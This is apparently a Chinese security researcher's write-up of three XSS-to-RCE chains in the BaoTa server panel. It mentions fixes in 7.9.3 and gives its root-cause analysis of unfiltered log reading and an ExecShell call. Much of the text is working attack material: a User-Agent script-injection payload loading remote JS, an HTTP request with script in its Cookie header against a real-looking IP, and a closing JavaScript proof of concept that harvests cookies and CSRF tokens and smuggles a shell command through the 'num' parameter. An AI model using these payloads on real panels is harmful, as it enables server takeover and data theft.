宝塔RCE组合拳 前言:该RCE与历史漏洞相似,同样是XSS到RCE,全文所有漏洞均已在最新版7.9.3修复,RCE1和2影响范围<7.9.2,RCE3影响范围 <7.9.3,修复方式就是把版本直接更新到最新版7.9.3即可,如果对业务有影响不能更新的话就把日志记录的时候过滤下XSS即可 准备工作: 找到网站名 JS payload 复现过程: 此时的wwwroot目录下面是没有文件的 发包 User-Agent:</tExtArEa>'><script src=http://URL/1.js></script> 点击网站日志 成功RCE 原理分析: 这里我用的环境是7.9.1版 目前的官网最新版也是7.9.1版本 复现流程可以看出来是xss+后台RCE的组合拳 首先是xss,我们可以看到日志可以成功用</textarea>闭合,然后就是经典的script src 分析源码,看看宝塔是如何读取日志的 这里有一个getsitelogs函数,其中获取了网站的日志路径,然后传进了GetNumLines函数,跟进去如下 函数里面语句较多,但是并没有任何的过滤 然后returnMsg直接return回来 其中日志是由nginx保存的,宝塔读取日志数据并return回来,无任何过滤,加上拼接,即可造成xss 那么如何扩大危害造成rce呢?宝塔其中有一个getlines函数如下 注意一个函数,ExecShell,其中使用了subprocess.Popen执行了命令,这也是Py自带的执行命令函数,我们可以看到全程也是无过滤的 那么我们转回来看getline函数 先判断了传来的filename存不存在,不存在就return,如果存在的话就往下进行拼接num和filename,所以我们就知道了怎么可以rce,传一个必定存在的filename,然后num执行命令就可以了,但因为这是在后台,所以需要xss+csrf配合触发 RCE2: 原理基本一样,不过我们要让他报错,在后面目录输入报错语句强制报错 http://124.222.155.156/ÑÞ:wJ</textarea><script>alert(1)</script> 同RCE1,这里直接取了错误日志 RCE3: 复现过程: 这个点与网站日志一样,也是有两个RCE的方式,不过触发点一样就当成一个写了,我发现宝塔本身也有两个日志,运行和报错,但报错日志是记录在运行日志当中的,而爱民哥发现的是用websockets传参,该方法比我的方式要更好一些 利用报错(插入cookie后点击宝塔运行日志) POST /login HTTP/1.1
Host: 124.222.155.156:8888
Content-Length: 298
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDf2OV8B1vndXw2kE
Accept: */*
Origin: http://124.222.155.156:8888
Referer: http://124.222.155.156:8888/4da4fb73/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:/ÑÞ:wJ</textarea><script>alert(1)</script>%7B%22status%22%3Atrue%2C%22msg%22%3A%22%u83B7%u53D6%u6210%u529F%21%22%2C%22data%22%3A%7B%22username%22%3A%22183****2354%22%7D%7D; config-tab=0; d83ead85f6a5e78d01786d2425d0944a=06c2e402-41be-4aea-8183-cb26a85b31c3.Q5M8TQT6Ez-ePm-x8dO3SJ4kUBQ
Connection: close
------WebKitFormBoundaryDf2OV8B1vndXw2kE
Content-Disposition: form-data; name='username'
c4ca4238a0b923820dcc509a6f75849b
------WebKitFormBoundaryDf2OV8B1vndXw2kE
Content-Disposition: form-data; name='password'
2e960237cb9186c02546fe2b1cdce087
------WebKitFormBoundaryDf2OV8B1vndXw2kE-- 这个没有深入分析,X了一次我就没管了,因为爱民哥的方法要比我的好很多,所以可能有误,或者是之前X的没有清理干净 源码漏洞点 基本上只要能X进来就能R了 然后是爱民哥发现的精简法 运行脚本(回显400即可) 然后点击 成功RCE 这是面板日志获取的方式 我们用websocket协议进行传参
全部JSPOC //JQuery preload (optional) (function(){ var s = document.createElement('script');s.type = 'text/javascript';s.async = true;s.src = 'https://code./jquery-2.1.4.min.js'; (document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(s); })();
// cookie let cookies = document.cookie;
function getCookie(sKey) { if (!sKey) { return null; } return decodeURIComponent(document.cookie.replace(new RegExp('(?:(?:^|.*;)\\s*' +encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, '\\$&') +'\\s*\\=\\s*([^;]*).*$)|^.*$'), '$1')) || null; }
all_headers ={ 'Accept':'*/*', 'X-Requested-With':'XMLHttpRequest', 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36', 'Connection':'close', 'Accept-Encoding':'gzip, deflate', 'dnt':'1', 'sec-gpc':'1', 'Cookie': cookies, 'x-cookie-token': getCookie('request_token'), 'Accept-Language':'zh-CN,zh;q=0.9,en;q=0.8', 'x-http-token': $('#request_token_head').attr('token'), 'Content-Type':'application/x-www-form-urlencoded;charset=UTF-8' }
$.ajax({ url: '/ajax', type: 'get', data: {'action':'get_lines','filename':'/etc','num':'|echo 'BT RCE test ZAC'> /www/wwwroot/1.txt|'} , headers: all_headers, success: function (data) { console.info(data); } }); |
|